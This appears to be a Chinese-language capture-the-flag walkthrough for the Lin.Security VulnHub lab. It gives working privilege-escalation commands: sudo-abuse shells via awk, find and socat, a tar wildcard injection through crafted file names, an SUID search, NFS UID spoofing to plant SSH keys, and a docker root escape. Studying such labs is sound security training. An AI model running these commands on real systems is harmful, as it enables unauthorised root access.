靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/
靶机网络配置
先用用户名bob 密码secret登录
然后提权到root
sudo awk 'BEGIN {system("/bin/sh")}'
注意由于环境的配置 双引号是shift+2
提权完毕后
vim /etc/default/keyboard
将XKBLAYOUT改为us
vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33
然后
setupcon
再 netplan apply
环境扫描
去看看lin.security靶机的网卡地址
nmap扫描得到
由用户名bob密码secret低权限ssh登录
提权方法1
读取/etc/passwd
发现insecurity用户的gid和uid都是0 且显示了密码的哈希
在线查询得到密码为P@ssw0rd!
ssh尝试登录
登录成功
提权方法2
sudo提权,以下方法都是基于sudo的滥用
发现我们拥有sudo权限的命令有awk find等
尝试用find命令提权
find
sudo find /etc/passwd -exec "/bin/bash" \;
man
输入!/bin/bash
awk
sudo awk ‘BEGIN {system(“/bin/bash”)}’
ash
socat
sudo socat stdin exec:/bin/bash
还有一些基于sudo滥用的提权 在此不一一列举
可以去https://gtfobins.github.io/找相关提权方法
提权方法3
定时任务提权
先查看/etc/crontab
有哪些定时任务
从左到右以此为分,时,日,月,周
如此处最后一条代表每一分钟执行一次 /etc/cron.daily/backup
看名字是备份,我们去查看一下
此处的含义是每一分钟以root权限执行一次backup中的命令
注意到使用了tar命令对/home下每个目录进行备份,且使用了通配符*
我们可以考虑创建如下两个文件
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
因为当匹配到这两个文件的文件名的时候会当做同名参数使用
用msf生成shell.sh的内容
这里打马的是我的vps
写入后在vps上nc监听,然后等一会
提权方法4
suid提权
find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
找可用命令
发现有taskset
提权方法5
nfs提权
之前nmap扫到了2049端口存在nfs服务
攻击机showmount
挂载该目录到/tmp/nfs
mkdir /tmp/nfs
sudo mount -t nfs 192.168.45.132:/home/peter /tmp/nfs
挂载完后进行访问
说明挂载成功了,但是不能写入文件
而该目录的所属组是1005,所有者是www
我们可以创建一个用户,所属组1005,所有者www来欺骗nfs
这里所有者的uid应该是1001,因为我kali上创建过1001的用户www所以显示的www
所以我们只需要改变www用户的gid
修改成功,尝试用www用户进行访问
成功写入,可以写了之后我们尝试写入ssh公钥
攻击机先用命令生成
ssh_keygen
然后复制一份公钥到/tmp
目录下,并重命名为authorized_keys
然后www用户再复制到/tmp/nfs/.ssh
目录下
使用私钥ssh连接
发现可以用strace提权
提权方法6
docker提权
发现peter也属于docker组
docker run -v /:/mnt --rm -it alpine chroot /mnt bash